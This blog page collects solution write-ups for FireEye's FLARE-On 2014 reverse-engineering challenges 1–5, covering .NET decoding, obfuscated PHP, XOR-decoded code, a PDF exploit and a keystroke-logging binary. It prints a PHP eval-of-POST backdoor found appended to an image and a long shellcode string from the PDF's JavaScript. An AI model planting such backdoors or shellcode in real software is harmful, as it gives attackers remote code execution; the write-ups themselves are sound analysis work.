Showing posts with label flare. Show all posts
Showing posts with label flare. Show all posts

Tuesday, December 16, 2014

FireEye's FLARE ON challenge solution 5.

C5

I used Ida Pro Free 5 to solve this. Once loaded I started to look around. I found that the "GetAsyncKeyState" leads to something interesting.


This is what we get when we go to the function which calls it:


Basically it's a huge jump tree, where it will jump based on the hit keystrokes:


At the bottom we find a function for each key:


Most of the look like this, they call a single function:

That function sets a bunch of variables, later these turn out to be represent states:


There are other functions for keystrokes, which look like the following:


It checks if a given variable is 0 or not, if yes, in this case it checks another one, and if that is also 0 t will call the very same initialization function I showed before, and if not 0, then it will set another variable to 1 and reset the currently interested one. This specific function is called when we press "0" as seen at the bottom.

What we can do from here is to try to navigate through the state graph back and forth, because we don't know where are we. First I started to go backwards, with finding out who change the state of the variable looked here. I was also started to give names to the functions and variables.

Then I moved forward with looking which is the next function looks into the set variable. This can be done with the menu "Jump to xref to operand":


Then select the next function (sub_10009B10 in this case):


At the end we can find that the keystroke sequence tracked is: l0ggingdoturdot5tr0ke5atflaredashondotcom

Which translates to: l0gging.ur.5tr0ke5@flare-on.com


Wednesday, November 26, 2014

FireEye's FLARE ON challenge solutions 1-4.

Here are my solutions for FireEye's FLARE On challenges, which you can download from here:

http://www.flare-on.com/

C1

This is a .NET executable, I used ILSpy to decompile the app. There was a decode function, which decoded the Resources.dat_secret byte stream:




 We could export the stream with clicking on the Resources item, and then save it.


I used the following short Python script to decode the encoded text, basically I rewrote the C# code to Python.

f = open("rev_challenge_1.dat_secret.encode", "rb")
byte = ""
try:
byte += f.read(31)
finally:
f.close()
dat_secret = byte
text = ""
for i in range(len(dat_secret)):
b = dat_secret[i]
text += chr((ord(b) >> 4 | (ord(b) << 4 & 240)) ^ 41)
text += "\x00"
print text

The solution to this was: 3rmahg3rd.b0b.d0ge@flare-on.com

C2

This contained a flare-on.png file, which contained a PHP code appended to the file.


This was a multi-level obfuscated PHP. The original from the image:

<?php
$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++)
{
$do_me=$do_me.$terms[$order[$i]];
}

$do_me contained:

$_='aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';
$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
//echo ($___($__));

Then:

$code=base64_decode($_);
//print $code;

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"]))
{
 eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]));
}

Printing the string with Python:

a = chr(97)+chr(49)+chr(49)+chr(68)+chr(0x4F)+chr(84)+chr(116)+chr(0x68)+chr(97)+chr(0x74)+chr(0x44)+chr(0x4F)+chr(0x54)+chr(0x6A)+chr(97)+chr(0x76)+chr(0x61)+chr(0x35)+chr(0x63)+chr(0x72)+chr(97)+chr(0x70)+chr(0x41)+chr(84)+chr(0x66)+chr(0x6C)+chr(97)+chr(0x72)+chr(0x65)+chr(0x44)+chr(65)+chr(0x53)+chr(72)+chr(111)+chr(110)+chr(68)+chr(79)+chr(84)+chr(99)+chr(0x6F)+chr(0x6D)
print a

Was: a11DOTthatDOTjava5crapATflareDASHonDOTcom, which is:
a11.that.java5crap@flare-on.com

C3

This is an executable with a bunch of self decoding XOR blocks, we can solve it with stepping through the code, and watching the dump. The program starts here, and we step into the CALL.


Then it will push a bunch of stuff on the stack:


Continue until:


We step into the CALL and the XOR fun begins. The blocks always decode the next memory area after them. 1st block:


Next:


One more:


And one more:


There will be more, but the email address shows up right after this XOR block, as you can see in the dump:


0012FEA3                    73 75        su
0012FEAB  63 68 2E 35 68 33 31 31  ch.5h311
0012FEB3  30 31 30 31 30 31 40 66  010101@f
0012FEBB  6C 61 72 65 2D 6F 6E 2E  lare-on.
0012FEC3  63 6F 6D                 com

ch.5h311010101@flare-on.com

C4

This is a PDF, which contained an exploit, which contained the shellcode.

We can quickly see that there is a JavaScript inside:

root@kali:~# pdfid APT9001.pdf 
PDFiD 0.0.12 APT9001.pdf
 PDF Header: %PDF-1.5
 obj                   10
 endobj                 9
 stream                 3
 endstream              3
 xref                   2
 trailer                2
 startxref              2
 /Page                  3(2)
 /Encrypt               0
 /ObjStm                0
 /JS                    1(1)
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           1(1)
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /Colors > 2^24         0

Let's search for it, and extract it:

root@kali:~# pdf-parser -s javascript APT9001.pdf 
obj 5 0
 Type: /Action
 Referencing: 6 0 R

  <<

    /Type /Action
    /S /JavaScript
    /JS 6 0 R
  >>


root@kali:~# pdf-parser -o 6 APT9001.pdf 

obj 6 0
 Type: 
 Referencing: 
 Contains stream

  <<

    /Length 6170
    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'
  >>


root@kali:~# pdf-parser -o 6 -d APT9001.js -f APT9001.pdf 

obj 6 0
 Type: 
 Referencing: 
 Contains stream

  <<

    /Length 6170
    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'
  >>

If we open the JavaScript file, we can quickly find the shellcode:

%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff

I convert it to an executable with the tools in REMnux:

remnux@remnux:~$ unicode2hex-escaped < sc.txt > sc2.txt
remnux@remnux:~$ shellcode2exe -s sc2.txt 
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file sc2.txt

Generating executable file
Writing file sc2.exe
Done.
remnux@remnux:~$ 

We can see that the shellcode puts something on the stack:


Which is:



wa1ch.d3m.spl01ts@flare-on.com